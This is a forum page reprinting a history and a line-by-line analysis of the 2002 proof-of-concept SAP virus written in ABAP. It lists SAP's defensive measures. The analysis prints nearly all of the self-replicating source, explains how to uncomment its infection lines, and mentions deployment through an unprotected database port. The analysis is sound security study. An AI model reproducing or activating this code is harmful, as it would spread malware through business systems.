SAP R/3 форум ABAP консультантов

[vga]

SAP virus
Author: Tuncay Karaca

It is been quite a long time now; since first SAP virus appeared in year of 2002. It was the first and most likely the famous one till now; very last virus for enterprise application environment – SAP. It seems to be written earlier in 2000 as a proof-of-concept virus. Concept is proofing that not business application platform as SAP is not resistant from viruses. The Virus is also known as SAP.VSoft.A, SAP.Willi.A, ABAP/Rivpas was probably coded by some Spanish speaking guy as can be observed in its code. It is written in ABAP and its purpose is to spread itself without monitoring of its activity. Of course virus will not replicate in its form and it is needed to be installed manually for first time in SAP system and therefore is kind of intended virus. To be setup such a virus there always must be somebody with user’s authorization for accessing developer’s transaction like SE38/SE80. For detail analyses of this virus see here.

SAP AG published a consulting SAP note 512595 related to this virus describing its behavior and how to prevent it.

Until this “first occurrence” of SAP virus no other viruses for SAP business application platform has been reported. SAP AG is paying a lot of attention to secure its products. E.g. refer to its security guide, security portal on OSS, security notes in OSS components: BC-SEC or BC-SEC-VIR, etc. Within the NetWeaver platform there is a broad focus on security aspect. A brand new Virus Scan Interface (VSI) is available to be used for integrating external virus scanner programs into SAP system to for scanning files or documents that are processed by SAP applications for viruses. In case of ABAP Application server stack check following transactions: VSCAN, VSCANGROUP, VSCANPROFILE, VSCANTEST, VSCANTRACE. For overview of SAP’s data security products check out note 786179.

SAP virus, an analysis

Newsbytes has a report published in April 2002. Youĺl find my preliminary analysis here:

This is a preliminary analysis, but I think I got the big picture. The report might work as expected, but SAP programs contain some very weired constructs, so it may fail in the long run. I consider the infection module "proof-of-concept".

> REPORT VIRIISOFT. "(C) ViriiWare 2000
> * Primer Virus para SAP versión Listados en 24 Líneas de Código
> * Efectos: Solo se reproduce en reports y funciones.
> * Hay que descomentar las linea para que funcione correctamente.

SAPs report directory (potential targets)

> TABLES TRDIR.

Arrays holding program copies in memory (the names may clash with names in the program an generate syntax errors in infected programs). I would choose some other name that will have fewer clash chances.

> DATA: VIN(72) OCCURS 0, VOUT(72) OCCURS 0. "SAPVirii
^^^^^^^^^

This "SAPVirr" marks the start of the virus code.

Find a new target:

> SELECT NAME INTO SY-TNAME FROM TRDIR WHERE UNAM NE 'Virii' AND
> ( SUBC = '1' OR ( SUBC = 'I' AND NAME LIKE 'L____U__' ) ).

A target is not changed by user "Virii" and has report type '1' (online report) or 'I' (include report, naming convention 'L____U__' looks for generated reports for funtion modules).

The report uses some "SY-" fields. These are predefined and automatically declared, so the report may be as unintrusive as possible. Caveat: Some SY- fields vanish in newer releases.

Do we mofidy a FUNCTION or a REPORT?

> IF TRDIR-SUBC = 'I'.
> SY-TVAR0 = 'FUNCTION'.
> ELSE.
> SY-TVAR0 = 'REPORT'.
> ENDIF.

Only one target is infected in every run:

> EXIT.
> ENDSELECT.

Did we find a target?

> CHECK SY-SUBRC = 0.

Oh yes, we did.

Now (remove the '*') mark the target as infected:

> *update trdir set: name = 'Virii', sqlx = ' ' where name = sy-tname.

Read both the target and the current report into the memory:

> READ REPORT SY-TNAME INTO VIN.
> READ REPORT SY-REPID INTO VOUT.

The following loop I didn't understand fully and think I should trace it to be really sure.

> LOOP AT VIN INTO SY-ENTRY.
> TRANSLATE SY-ENTRY TO UPPER CASE. SEARCH SY-ENTRY FOR SY-TVAR0.
> CHECK SY-SUBRC = 0 AND SY-ENTRY+0(1) NE '*'.

Search (and found) the place to modify the target (either FUNCTION or REPORT).

> LOOP AT VIN INTO SY-ENTRY FROM SY-TABIX.
> TRANSLATE SY-ENTRY USING '.@'.

Search a '.' (end of statement).

> SEARCH SY-ENTRY FOR '@'.
> CHECK SY-SUBRC = 0.

Remember the place.

> SY-WILLI = SY-TABIX + 1. EXIT.
> ENDLOOP.
> EXIT.
> ENDLOOP.

Did it work out for us?

> CHECK SY-SUBRC = 0.

Ok, all went well.

Delete all lines out of "SAPVirii" from the memory copy of the running program. All that remains is the virus code.

> LOOP AT VOUT INTO SY-ENTRY.
> IF SY-PAGNO = 3. SY-PAGNO = 0. ENDIF.
> SEARCH SY-ENTRY FOR 'SAPVirii'.
> IF SY-SUBRC = 0. SY-PAGNO = SY-PAGNO + 1. ENDIF.
> CHECK SY-PAGNO = 0. DELETE VOUT.
> ENDLOOP.

Now we insert the virus code into the memory copy of the target program at the remembered place.

> INSERT LINES OF VOUT FROM 1 INTO VIN INDEX SY-WILLI.

If the commentchar (*) is removed, insert the modified target report into the SAP database:

> *insert report sy-tname from vin. CLEAR SY. "<---Virii Activo

The next start of that report will infect another target. No need to compile, since SAP will do that for you.

I'm currently investigating whether or not the ABAP keyword INSERT REPORT will work in a productive system where report changes are not allowed. As of now, SAPs documentation said nothing about that, so I need to try it out.

Placeholder for malicious(?) actions...

> *Aquí va el código de destrucción o efectos del virus. "SAPVirii
^^^^^^^^^

End of virus code.

Nice. What do you need to implement it into SAP R/3?

A developer that changes a report (You need the SAP rights to do that and the system must allow changing of SAP reports for that). This should only be possible in development systems, not in production systems.

A developer creates the report in the development system and transports it into production. SAP logs these events.

A malicious user gets access to the SAP database an imports a modified report into the target system. Possible, if the customer did not protect the SAP database port with a firewall. At least for Oracle there is a Cut&Paste instruction available on my homepage.

Jochen Hein